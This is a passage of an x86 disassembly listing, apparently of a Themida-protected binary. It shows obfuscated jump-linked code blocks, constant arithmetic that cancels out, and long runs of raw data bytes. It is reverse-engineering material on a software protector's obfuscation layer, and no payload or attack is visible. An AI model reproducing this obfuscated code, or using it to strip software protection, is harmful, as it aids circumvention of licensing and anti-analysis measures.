		dd 0C3817BA8h, 4B1A6927h, 0F381D3F7h, 74458ED0h, 1C8BDF01h
		dd 4C48124h, 68000000h,	13Dh, 0D253E9h,	511CBE00h, 0B9511463h
		dd 2FADAA26h, 3159CA89h, 7955E9F2h, 4BF0000h, 1000000h
		dd 0E904247Ch, 0CE16h, 31240C33h, 0C33240Ch, 24248B24h
		dd 9C240421h, 0FFC540E9h, 16CEBEFFh, 0EE836E9Bh, 0C2B85001h
		dd 1529E44h, 24048BC6h,	10925E9h
		db 0
; ---------------------------------------------------------------------------


loc_63907D:				; CODE XREF: Themida_:006482BEj
		mov	[esp], ebx
		jmp	loc_648B20
; ---------------------------------------------------------------------------


loc_639085:				; CODE XREF: Themida_:00635DA0j
		shr	ebx, 3
		shr	ebx, 3
		push	ecx
		jmp	loc_635ACF
; ---------------------------------------------------------------------------


loc_639091:				; CODE XREF: Themida_:00636329j
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_63C1B0
; ---------------------------------------------------------------------------
		db 1
		dd 0EC835AD7h, 0BF5AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6390A6:				; CODE XREF: Themida_:0063A082j
		add	ecx, eax
		jmp	loc_636765
; ---------------------------------------------------------------------------
		db 5, 2Eh, 0FAh
		dd 0C6019B52h, 0B9515A58h, 29563137h, 0E959CB01h, 0FFFFE43Bh
		dd 4BBh, 0B61E900h, 0D4F60001h,	0C4FEC4FEh, 30E7C480h
		dd 5BCDE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6390DE:				; CODE XREF: Themida_:0063A9E7j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_636380
; ---------------------------------------------------------------------------
		dd 5204C483h, 0A72AD9BAh, 16E28160h, 81142D19h,	0C777ADE2h
		dd 2C3EE906h, 14330000h, 24248B24h, 50241489h, 0F077E99Ch
		dd 148B0000h, 4C48324h,	481BE9h, 0C8B6600h, 4EC8324h, 54240C89h
		dd 26B6859h, 4EE90000h,	0B9FFFFDAh, 4, 2170C281h, 0BE562093h
		dd 5A8C0DEEh, 0E95EF201h, 10CB3h, 0C181E931h, 39D35C04h
		dd 4621A505h, 51C8016Bh, 784DE9h, 4C48300h, 0F755E987h
		dd 75E92414h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_63916F:				; CODE XREF: Themida_:00642D14j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_646271
; ---------------------------------------------------------------------------
		dd offset dword_528710+758h
		align 2
		dw 0CAE9h
		dd 33FFFFD5h, 2C31242Ch, 242C3324h, 6624248Bh, 81240C8Bh
		dd 4ECh, 0D408E900h, 489FFFFh, 18DEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6391AA:				; CODE XREF: Themida_:00639D76j
		mov	edx, 17882942h
		xor	edx, 5A667B00h
		push	ecx
		mov	ecx, 4743543Ah
		jmp	loc_648A4F
; ---------------------------------------------------------------------------


loc_6391C0:				; CODE XREF: Themida_:0064A75Bj
		push	ebx
		mov	ebx, 553A1084h
		mov	ecx, ebx
		jmp	loc_6375F7
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B9240C89h, 34C262B6h, 5A5968h, 242C8900h, 9A2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_6391E5:				; CODE XREF: Themida_:0064503Ej
		pop	ecx
		add	esp, 4
		xor	ebp, 3C24754Ah
		add	ebx, ebp
		pop	ebp
		jmp	loc_63CD5C
; ---------------------------------------------------------------------------
aWy_1S		db 'WY_1',27h,0
		align 4
		dd 86EA815Bh, 153A81Fh,	86C281EAh, 5D53A81Fh, 288FA01h
		dd 0C387E95Ah, 8850FFFFh, 58E788CCh, 5BF80059h,	0B5515966h
		dd 5EC8E903h, 0C4830000h, 0ADF8E904h, 2C890000h, 83E58924h
		dd 1C8904ECh, 4F746824h, 3C890000h, 7FA56824h, 0E95F7D9Ch
		dd 0F9DDh, 0EC83DF29h, 24348904h, 205153BEh, 7154684Ch
		dd 34890000h, 0B906E924h, 0EC830000h, 24148904h, 0B0E9E289h
		dd 5C000015h, 0E9243489h, 2692h
; ---------------------------------------------------------------------------


loc_639288:				; CODE XREF: Themida_:006420B3j
		mov	edi, 565C2CDDh
		sub	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 27CF337Ch
		add	edx, 206E254Ah
		jmp	loc_6360FD
; ---------------------------------------------------------------------------


loc_6392A7:				; CODE XREF: Themida_:006420D2j
		push	edi
		pop	ebp
		pop	edi
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 0
		jmp	loc_6481E7
; ---------------------------------------------------------------------------
		dw 525Eh
		dd 42474FFh, 0D7CAE95Ah, 0E95A0000h, 3551h, 687AF281h
		dd 0BF57515Eh, 1C3B1275h, 815FFA29h, 991B4AE2h,	0F2814A5Ch
		dd 508912FBh, 813CE9h, 4875A00h, 83555C24h, 736804ECh
		dd 89000051h, 4812424h,	424h, 0BA89E900h, 0F1810000h, 61A438F2h
		dd 210BE9h, 38678800h, 240C8B58h, 81E68956h, 4C6h, 0E1895100h
		dd 4C181h, 0F6E90000h, 8900010Ah, 0ECE9240Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63933B:				; CODE XREF: Themida_:00644EB4j
		mov	ebx, 42B10C7Fh
		sub	edi, ebx
		jmp	loc_6367FB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 241C8B04h, 3F87E9h
		db 0
; ---------------------------------------------------------------------------


loc_639355:				; CODE XREF: Themida_:0063E193j
		push	3B56h
		mov	[esp], edx
		push	esi
		mov	esi, 13470A99h
		mov	edx, 72354FF6h
		dec	edx
		sub	edx, 6FB7246Ah
		add	edx, 6ADA798Eh
		dec	edx
		dec	edx
		sub	edx, 5A119A7Ah
		sub	edx, esi
		pop	esi
		add	ebx, edx
		jmp	loc_64060B
; ---------------------------------------------------------------------------


loc_639387:				; CODE XREF: Themida_:0063E60Aj
		add	esp, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_645EEA
; ---------------------------------------------------------------------------
		dd 80CBCD80h, 0C5FEF6EDh, 0FE3EB353h, 0CBBE9CBh, 0BD550001h
		dd 3467257Eh, 15DEA29h,	7EC281F2h, 8B346725h, 0C4832434h
		dd 4CE95104h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6393E7:				; CODE XREF: Themida_:0063F00Ej
		pop	edx
		dec	ebx
		add	ebx, 4EE42D51h
		jmp	loc_648F9E
; ---------------------------------------------------------------------------
		dd 40E9CF01h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6393FB:				; CODE XREF: Themida_:00644967j
		mov	edx, 4948168Bh
		or	ebx, edx
		pop	edx
		jmp	loc_646539
; ---------------------------------------------------------------------------
		dd 241C8966h, 0F380DCB3h, 66DE30E6h, 5AF3005Bh,	0D8E9C300h
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63941F:				; CODE XREF: Themida_:0063F509j
		pop	esp
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_639994
; ---------------------------------------------------------------------------
aQsc		db 'Q',0
		align 10h


loc_639440:				; CODE XREF: Themida_:00648058j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		add	esp, 4
		push	58D2h
		mov	[esp], ecx
		push	1
		push	dword ptr [esp]
		jmp	loc_649D90
; ---------------------------------------------------------------------------
		dd 0B5668568h, 8B50586Fh, 8950242Ch, 405E0h, 0C0830000h
		dd 2E14E904h, 0C4810000h, 4, 0E953D801h, 0C2E9h, 0F8CFE95Ah
		dd 0C7830000h, 243C8702h, 0D324248Bh, 0E99C242Ch, 0FFFFC0F5h
; ---------------------------------------------------------------------------


loc_6394B0:				; CODE XREF: Themida_:006496FEj
		add	ebx, 24C710D8h
		add	ebx, 0E78CD7EFh
		mov	ebp, ebx
		jmp	loc_63A013
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 243C8704h, 66E1F65Ch, 81CCB60Fh,	4ECh, 24348900h
		dd 57585450h, 8762DCBFh, 0D8EF810Bh, 10B8762h, 0E8835FF8h
		dd 24048704h, 48F545Ch,	3DAEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6394FE:				; CODE XREF: Themida_:00645913j
		add	eax, 82F007Fh
		push	2148h
		jmp	loc_63C2E6
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 36h
		dd 0E9047C55h, 79E6h, 0C522E958h, 5A58FFFFh, 0E2B45052h
		dd 0FB97E9h
		db 0
; ---------------------------------------------------------------------------


loc_639529:				; CODE XREF: Themida_:006367E0j
		pop	ebp
		add	edx, 4
		push	5F98h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_6355A5
; ---------------------------------------------------------------------------


loc_639549:				; CODE XREF: Themida_:006477CCj
		push	esi
		jmp	loc_63DBB1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4EB8300h, 7800E9h, 0D831AD00h,	6EBB5351h, 0E901C824h
		dd 9C9h, 0FF2434FFh, 0E9582434h, 0EE8Eh
; ---------------------------------------------------------------------------


loc_639578:				; CODE XREF: Themida_:00643FA8j
		sub	[edi+24h], ebx
		pop	ebx


loc_63957C:				; CODE XREF: Themida_:0063E5B2j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_638BE0
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 77765792h, 47C3F281h, 0F2812826h, 2CBC3345h,	0E317E9h
		dd 42C38000h, 365BE951h, 0D0290000h, 58C3295Ah,	12BFEB81h
		dd 90E92B26h, 810000DAh, 0D81879E9h, 59CA290Fh,	6D55C281h
		dd 0C201043Ah, 2326B951h, 0E9810BC8h, 59517FBEh, 8104E1C1h
		dd 4950AAE1h, 0E9D1F72Ah, 0DD21h, 4D3665Ch, 0EEE99C24h
		dd 59FFFFF5h, 0CE03E9h,	24348B00h, 0D7BAE9h, 4BA5200h
		dd 0E9000000h, 0FFFFFA7Fh, 0E92434FFh, 0EAFCh, 8158C601h
		dd 4EEh, 24348700h, 241C895Ch, 4BBh, 24F0500h, 0D8012D04h
		dd 4024F2Dh, 0BB36E92Dh, 0E8280000h, 88B15159h,	0BF85E9h
		db 0
; ---------------------------------------------------------------------------


loc_639655:				; CODE XREF: Themida_:00646C3Ej
		push	ecx
		push	0E0Ch
		mov	[esp], esi
		push	2239h
		jmp	loc_63F4B8
; ---------------------------------------------------------------------------
		dd 1C8BD900h, 4C48324h,	2023B050h, 0E98058C1h, 59C828FFh
		dd 0B151F828h, 0BFB35310h, 0C418E9h, 0F2095B00h, 10FCDE9h
		dd 2775B800h, 0C8351FBEh, 520E00Bh, 1FAE447Ah, 0FB4EE9h
		dd 0E6BE5600h, 21410975h, 0A9E95EF3h, 8B0000CBh, 52E92404h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6396BB:				; CODE XREF: Themida_:0063CD10j
		push	4BECh
		jmp	loc_63C9BB
; ---------------------------------------------------------------------------
aIcs3		db '3',0
		align 4


loc_6396CC:				; CODE XREF: Themida_:00638F61j
		mov	eax, edi
		jmp	loc_63CCC2
; ---------------------------------------------------------------------------
aBaXqs		db '(,Q',0
		align 2
aSS_7		db ')',0
		dd 7DB26800h, 1C890000h, 4EC8324h, 0B8240489h, 38FE25E2h
		dd 242C8150h, 1A4458B5h, 0FFC0ADE9h, 61E8BEFFh,	0F70924FFh
		dd 0E394E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_639712:				; CODE XREF: Themida_:0063FEF1j
		neg	edx
		push	ecx
		mov	ecx, 136C710Fh
		xor	ecx, 6CCA64CEh
		jmp	loc_641CCE
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0E5E9E089h, 0BAFFFFECh, 59B92FD2h, 295AD329h, 0E8BD55FBh
		dd 5746196Fh, 8C6F90BFh, 653BE90Ah, 0F7660000h,	0E99C241Ch
		dd 0FFFFBE51h, 0FF240489h, 8B042474h, 0C4832404h, 24048F04h
		dd 3FAFE9h, 59CB2900h, 241C8759h, 5A24248Bh, 0C846855h
		dd 14890000h, 91685524h, 0E91B833Ah, 0FFFFEA7Dh, 0CF0AEF81h
		dd 0F8293775h, 83D8015Fh, 3C8904ECh, 5AC2BF24h,	0D7F77FF2h
		dd 0CE7CC781h, 0F8019C3Eh, 2508E9h, 24148700h, 6624248Bh
		dd 56240C8Bh, 4EC81h, 24890000h, 0D45CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6397C6:				; CODE XREF: Themida_:00635B0Bj
		push	esp
		jmp	loc_6476E7
; ---------------------------------------------------------------------------
		dd 3E3ABA52h, 7DE9196Ch, 1000084h, 0E95158C7h, 8808h, 116641B8h
		dd 2444013Fh, 34FF5804h, 0FEC1E924h, 4431FFFFh,	6EE90424h
		dd 520000EFh, 0F9B798B6h, 0B55AF730h, 40A3E91Ah, 0ED810000h
		dd 53CAC5BCh, 685DE801h, 7DB7h,	43EDE9h, 0F1015C00h, 0CEE9575Eh
		dd 33000023h, 665C240Ch, 0E99CC83Bh, 848Bh, 243C8756h
		dd 6A94E9h
		db 0
; ---------------------------------------------------------------------------


loc_63983D:				; CODE XREF: Themida_:0063A406j
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 742811E4h
		jmp	loc_64688C
; ---------------------------------------------------------------------------
		dd 4BDh, 7CC42D00h, 0D4E97698h,	0C10000B9h, 0F68103E6h
		dd 5C165E1Fh, 7878E681h, 0D6F77EBFh, 3682BF57h,	0DFF70046h
		dd 1E53C781h, 0F7814151h, 445493F3h, 555FFE21h,	1A0E6856h
		dd 465E28F0h, 79FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_639895:				; CODE XREF: Themida_:00648CAFj
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 2
		jmp	loc_643785
; ---------------------------------------------------------------------------
		dd 4C481h, 80680000h, 89000000h, 0E789243Ch, 4BA52h, 0D7010000h
		dd 25685Ah, 34890000h, 49A2E924h, 77FF0000h, 58669D1Ch
		dd 9C240418h, 0FFBCBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6398E9:				; CODE XREF: Themida_:00643447j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_63D9C6
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 3262230Ah, 8C41BE56h, 0F5897947h, 0E9DD295Eh, 0FFFFDC6Fh
		dd 4C281h, 0D1E90000h, 0BA00004Eh, 37A3488Ah, 0E2C1E2D1h
		dd 31EA8104h, 89CE68F7h, 0F7295AD6h, 14C7815Eh,	2973EC23h
		dd 0FC64E9F7h, 0EDC1FFFFh, 8DC58103h, 11BCEC1h,	0C4E95DEAh
		dd 87000075h, 4EC81D5h,	0E9000000h, 0CE79h
; ---------------------------------------------------------------------------


loc_639954:				; CODE XREF: Themida_:0063F45Dj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_64837E
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 81h
		dd 40A8F9C6h, 0E9F509A8h, 7ADEh, 797C5805h, 24148B7Bh
		dd 8904EC83h, 0E789243Ch, 11001E9h, 4C48100h, 0E9000000h
		dd 3C2Bh
; ---------------------------------------------------------------------------


loc_63998C:				; CODE XREF: Themida_:00645A6Fj
		xor	eax, ecx
		push	eax
		jmp	loc_6473C8
; ---------------------------------------------------------------------------


loc_639994:				; CODE XREF: Themida_:00639435j
		push	edi
		jmp	loc_6431B8
; ---------------------------------------------------------------------------
		dw 489h
		dd 5E08924h, 4,	8704E883h, 895C2404h, 0BF57241Ch, 2502147Eh
		dd 58BBC781h, 0E9E91B2Dh
		db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_6399BF:				; CODE XREF: Themida_:006458DAj
		add	dl, 0FFh
		xor	dl, 48h
		jmp	loc_643541
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 9565E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6399D2:				; CODE XREF: Themida_:00645607j
		mov	ebx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_639B15
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124048Bh, 4C4h, 36556800h, 4890000h, 56585424h, 8A7EB3BEh
		dd 0BA52465Ah, 0
		dd offset dword_59DA7C+26Dh
		dd 33E95000h, 0FF000020h, 48B2434h, 4C48124h, 53000000h
		dd 0BE56E389h, 4, 643C68h, 240C8900h, 0FFE756E9h, 240C89FFh
		dd 0C181E189h, 4, 775668h, 24348900h, 268h, 24348B00h
		dd 4C481h, 0F1010000h, 8324348Bh, 0EC8304C4h, 240C8904h
		dd 42474FFh, 55240C8Bh,	596FE9h, 4EC8100h, 89000000h, 14F7240Ch
		dd 2FE95924h, 83000078h, 348904ECh, 2BE24h, 0FE2D0000h
		dd 158AD53h, 0A952E9F0h, 0C1810000h, 4,	8704C183h, 685C240Ch
		dd 0F0h, 0D958E9h
		db 0
; ---------------------------------------------------------------------------


loc_639AB5:				; CODE XREF: Themida_:0064A7DDj
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	edi
		jmp	loc_644A0F
; ---------------------------------------------------------------------------


loc_639ACE:				; CODE XREF: Themida_:00639B2Cj
		or	esi, 2F0879FDh
		jmp	loc_6452C2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E9FFEA83h, 0FFFFC4EDh, 0E9E9315Dh, 0FFFFD8E9h, 9D1C77FFh
		dd 0D3665966h, 0E99C241Ch, 0FFFFBAA9h
; ---------------------------------------------------------------------------


loc_639AFC:				; CODE XREF: Themida_:0063A152j
		xor	esi, 0FC470498h
		sub	eax, esi
		jmp	loc_63AC5C
; ---------------------------------------------------------------------------
		db 0E9h, 97h, 0BAh
		dd 0E789FFFFh, 0B81EE9h
		db 0
; ---------------------------------------------------------------------------


loc_639B15:				; CODE XREF: Themida_:006399E4j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 41876647h
		shl	esi, 5
		jmp	loc_639ACE
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 6
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_639B37:				; CODE XREF: Themida_:0063E4B2j
		not	dword ptr [esp]
		pop	edi
		shr	edi, 7
		push	edx
		mov	edx, 235962D8h
		jmp	loc_64000E
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
a31Sh		db '3<$1<$H',0
		dw 8100h
		dd 68471CEFh, 5FFE0100h, 4B850h, 0C6010000h, 8124048Bh
		dd 4C4h, 24348700h, 8124248Bh, 4C6h, 2C68100h, 87000000h
		dd 248B2434h, 4296624h,	12E99C24h, 52FFFFBAh, 0B542E9h
		db 0
; ---------------------------------------------------------------------------


loc_639B99:				; CODE XREF: Themida_:006498D0j
		add	esp, 4
		xor	ebp, 0C9416C91h
		add	eax, 4C64B7Ch
		add	eax, 54FA1DC8h
		add	eax, ebp
		sub	eax, 54FA1DC8h
		push	ecx
		push	edi
		mov	edi, 11D34DEh
		dec	edi
		jmp	loc_6492CE
; ---------------------------------------------------------------------------
aI4Icss1	db '4$S1',0
		db 0
; ---------------------------------------------------------------------------


loc_639BCD:				; CODE XREF: Themida_:0063DC4Aj
		mov	ebx, 11FB201Dh
		or	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 61B332A3h
		and	edi, 604E4979h
		not	edi
		inc	edi
		shr	edi, 2
		shr	edi, 7
		push	ecx
		mov	ecx, 377626F9h
		neg	ecx
		and	ecx, 756D6855h
		shr	ecx, 7
		not	ecx
		xor	ecx, 1F9834B0h
		add	ecx, 0EB67493Ch
		xor	edi, ecx
		jmp	loc_63B4EA
; ---------------------------------------------------------------------------


loc_639C15:				; CODE XREF: Themida_:0064A6DDj
		mov	[esp], esi
		mov	esi, 0D527573h
		add	eax, esi
		jmp	loc_64805D
; ---------------------------------------------------------------------------


loc_639C24:				; CODE XREF: Themida_:00642BEEj
		mov	edx, 76B4626Fh
		neg	edx
		push	ecx
		mov	ecx, 1F1834C4h
		jmp	loc_63B6D9
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0A6B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_639C41:				; CODE XREF: Themida_:00638DF1j
		add	esp, 4
		jmp	loc_6442A9
; ---------------------------------------------------------------------------


loc_639C4C:				; CODE XREF: Themida_:0063D657j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_63C898
; ---------------------------------------------------------------------------


loc_639C59:				; CODE XREF: Themida_:0063DA20j
		add	ebp, 77322005h
		sub	ebp, eax
		sub	ebp, 77322005h
		jmp	loc_64AA8C
; ---------------------------------------------------------------------------


loc_639C6C:				; CODE XREF: Themida_:0063DA5Cj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_641193
; ---------------------------------------------------------------------------
		dd offset dword_455248+21720h
		dw 8900h
		dd 34B7241Ch, 51F7EF80h, 0ED80E4B5h, 0AB6E97Dh
		db 1, 0
; ---------------------------------------------------------------------------


loc_639C92:				; CODE XREF: Themida_:0063B766j
		add	ebx, 2C484123h
		sub	ebp, ebx
		pop	ebx
		sub	ebx, 7B3143D7h
		jmp	loc_645C54
; ---------------------------------------------------------------------------
aBi5s?		db '',8,'5?',0
		dd 24148B00h, 0BF0AE9h,	2434FF00h, 7E8DE9h, 24148900h
		dd 88CC8850h, 94E958E2h, 5100002Dh, 0DB17A6B9h,	86E95057h
		dd 89FFFFD8h, 0D7BD242Ch, 507B9679h, 405E089h, 2D000000h
		dd 4, 5C240487h, 0FFF2D7E9h, 51EA81FFh,	146CD49h, 0B2B951FAh
		dd 0E911B837h, 0BA22h, 0F24248Bh, 4C2368C8h, 4890000h
		dd 0B887E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_639D1E:				; CODE XREF: Themida_:0063B2F0j
		pop	edi
		or	eax, eax
		jz	loc_63B709
		push	dword ptr [edi+1Ch]
		jmp	loc_63E198
; ---------------------------------------------------------------------------
		db 66h
		dd 4F8005Bh, 8B5B6634h,	0A9E92414h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_639D3F:				; CODE XREF: Themida_:00646273j
		push	7D12h
		mov	[esp], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		jmp	loc_636A0B
; ---------------------------------------------------------------------------
		db 0BDh, 0A8h, 75h
		dd 0DDF72833h, 66C58145h, 1F6A131h, 1CE95DEAh
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_639D6F:				; CODE XREF: Themida_:0064548Cj
		add	eax, 7BA459BBh
		pop	ebp
		push	edx
		jmp	loc_6391AA
; ---------------------------------------------------------------------------
		db 51h
		dd 6718AE68h, 0E9495942h, 0E21Ah
; ---------------------------------------------------------------------------


loc_639D88:				; CODE XREF: Themida_:00642F32j
		mov	[esp], edi
		mov	edi, 49741FDh
		mov	esi, 11E9B770h
		push	ecx
		mov	ecx, 6F113DF9h
		jmp	loc_64A05E
; ---------------------------------------------------------------------------
		dd 3FC5E981h, 0E9816069h, 320E7F0Bh, 72685Fh, 14890000h
		dd 2BA24h, 0D1010000h, 240C335Ah, 33240C31h, 248B240Ch
		dd 5ABE924h, 0E7890000h, 4C781h, 53680000h, 8900002Dh
		dd 4BB241Ch, 0E9000000h, 661Bh,	22BABD55h, 0DDF7168Bh
		dd 0E901ED83h, 0FFFFFED7h, 8324348Bh, 0C68104C4h, 4, 4C681h
		dd 34870000h, 36685C24h, 89000051h, 0C788241Ch,	0FF5BFD88h
		dd 53582434h, 0B3F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_639E25:				; CODE XREF: Themida_:0063BE1Dj
		pop	eax
		jmp	loc_644D0A
; ---------------------------------------------------------------------------
		db 55h
		dd 0B0044CBDh, 1CE58171h, 0E93BD26Dh, 103DEh
; ---------------------------------------------------------------------------


loc_639E3C:				; CODE XREF: Themida_:0064184Fj
		xor	edx, 40B864D8h
		sub	ebx, edx
		pop	edx
		shl	ebx, 6
		not	ebx
		jmp	loc_6453D5
; ---------------------------------------------------------------------------
		db 89h
		dd 0A4BE2434h, 81785030h, 6D0305F6h, 9E98113h, 127C144h
		dd 2EE7E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_639E6A:				; CODE XREF: Themida_:0063EDD5j
		add	esi, 4
		jmp	loc_63D02E
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 0E66866D8h, 0C89664Ch, 10986824h, 4890000h, 0B6525124h
		dd 2CB7530Ah, 0D5E976B5h, 3300001Bh, 4312404h, 3A0E924h
		dd 0CF870000h, 6B58E9h,	24248900h, 4B951h, 4C010000h, 8B590424h
		dd 0C483240Ch, 0A8F8E904h, 0E95B0000h, 0AD1h, 3B4AEA81h
		dd 36E96F87h, 5CFFFFC6h, 88CE9h
		db 0
; ---------------------------------------------------------------------------


loc_639ED5:				; CODE XREF: Themida_:00638EBBj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_64763B
; ---------------------------------------------------------------------------
		dd 4435C681h, 0C6014BB3h, 4435EE81h, 0EE814BB3h, 2F7467C8h
		dd 0E4EC681h, 515602EEh, 0D17397B9h, 52BFE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_639F0E:				; CODE XREF: Themida_:00648A0Fj
		mov	[esp], esi
		mov	esi, 6C347388h
		sub	esi, 222A419Fh
		shl	esi, 3
		add	esi, 0AFAE70BCh
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_643CD8
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 2Eh
		dd 0E9152134h, 0FFFFE1DEh, 2F88E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_639F46:				; CODE XREF: Themida_:006372BBj
		xchg	edx, [esp]
		xchg	edi, edx
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_635DE3
; ---------------------------------------------------------------------------
		dd 24048F54h, 24B95156h, 5021F03Ch, 0F33E63B8h,	72793565h
		dd 0C1310809h, 3AE98158h, 0E94C0A70h, 0FFFFC0A4h, 84EA815Ch
		dd 11AE860h, 4741E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_639F8E:				; CODE XREF: Themida_:006446B7j
		and	ecx, 663640D9h
		sub	ecx, 3ED57F43h
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	ecx, ebx
		jmp	loc_638ED2
; ---------------------------------------------------------------------------


loc_639FA7:				; CODE XREF: Themida_:00644D0Cj
		inc	eax
		sub	eax, 4E06685Fh
		jmp	loc_64914F
; ---------------------------------------------------------------------------
		dw 6868h
		dd 583F531Bh, 56BA5250h, 102621Ah, 5A042454h, 56EB815Bh
		dd 5802621Ah, 37BBBE56h, 0A6E95759h, 100005Ah, 1C875FFBh
		dd 24248B24h, 4ED81h, 2C870000h, 14895C24h, 4BA24h, 0D0010000h
		dd 4C0835Ah, 31240433h,	4332404h, 0F9F75C24h, 656E68h
		dd 24148900h, 92E99C50h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63A013:				; CODE XREF: Themida_:006394BEj
		pop	ebx
		jmp	loc_643AB0
; ---------------------------------------------------------------------------
a1ZSq		db '1Z)q',0Dh,0
		db 0
; ---------------------------------------------------------------------------


loc_63A023:				; CODE XREF: Themida_:00643B6Bj
		push	edx
		push	5858h
		mov	[esp], ebx
		mov	ebx, 25650C1Dh
		push	20C2h
		mov	[esp], ebp
		push	64981354h
		mov	ebp, [esp]
		jmp	loc_64A8E8
; ---------------------------------------------------------------------------


loc_63A046:				; CODE XREF: Themida_:00647192j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_64475B
; ---------------------------------------------------------------------------


loc_63A059:				; CODE XREF: Themida_:00649B24j
		not	edi
		push	6BC6h
		mov	[esp], edx
		mov	edx, 330A4BA1h
		jmp	loc_64963D
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 5
		dd 28CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_63A075:				; CODE XREF: Themida_:00645BB3j
		pop	ecx
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_6390A6
; ---------------------------------------------------------------------------


loc_63A087:				; CODE XREF: Themida_:0063F2C5j
		push	3564h
		mov	[esp], edx
		mov	edx, 4
		add	ebp, 58F15323h
		jmp	loc_643567
; ---------------------------------------------------------------------------
		db 81h
		dd 8A0E00EFh, 0E9FD0116h, 0D9F3h, 240C8B66h, 0E1895153h
		dd 4C181h, 0E9810000h, 4, 8B03E9h
		db 0
; ---------------------------------------------------------------------------


